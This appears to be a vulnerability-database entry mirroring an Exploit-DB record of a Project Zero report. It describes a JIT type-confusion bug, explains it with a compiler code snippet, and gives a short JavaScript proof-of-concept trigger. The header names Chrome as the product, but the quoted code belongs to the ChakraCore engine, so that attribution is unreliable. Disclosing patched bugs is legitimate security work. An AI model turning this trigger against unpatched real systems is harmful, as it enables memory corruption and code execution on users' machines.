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Chrome
by:
Project Zero
8,8
CVSS
HIGH
Type Confusion
843
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Product Name: Chrome
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Affected Version To: N/A
Patch Exists: YES
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Platforms Tested: Windows, Linux, Mac
2020

JIT Compiler Type Confusion Vulnerability

The JIT compiler in the Chrome browser is vulnerable to a type confusion vulnerability. This vulnerability occurs when the JIT compiler emits a BailOnNotObject opcode in the first analysis of a loop, but the return value of valueType.HasBeenNumber() can be different in the second analysis. This can lead to type confusion, which can be exploited to execute arbitrary code.

Mitigation:

Update to the latest version of Chrome to patch this vulnerability.
Source

Exploit-DB raw data:

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1365

Some background: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

There's one more place that emits a BailOnNotObject opcode.

Here's a snippet of GlobOpt::OptTagChecks.
    if (valueType.CanBeTaggedValue() &&
        !valueType.HasBeenNumber() &&
        (this->IsLoopPrePass() || !this->currentBlock->loop))
    {
        ValueType newValueType = valueType.SetCanBeTaggedValue(false);

        // Split out the tag check as a separate instruction.
        IR::Instr *bailOutInstr;
        bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);
        ...
    }

The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.

But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.

PoC:
*/

function opt() {
    let obj = [2.3023e-320];
    for (let i = 0; i < 1; i++) {
        obj.x = 1;  // In the first analysis, BailOnNotObject emitted
        obj = +obj;  // Change the type
        obj.x = 1;  // Type confusion
    }
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt();
    }
}

main();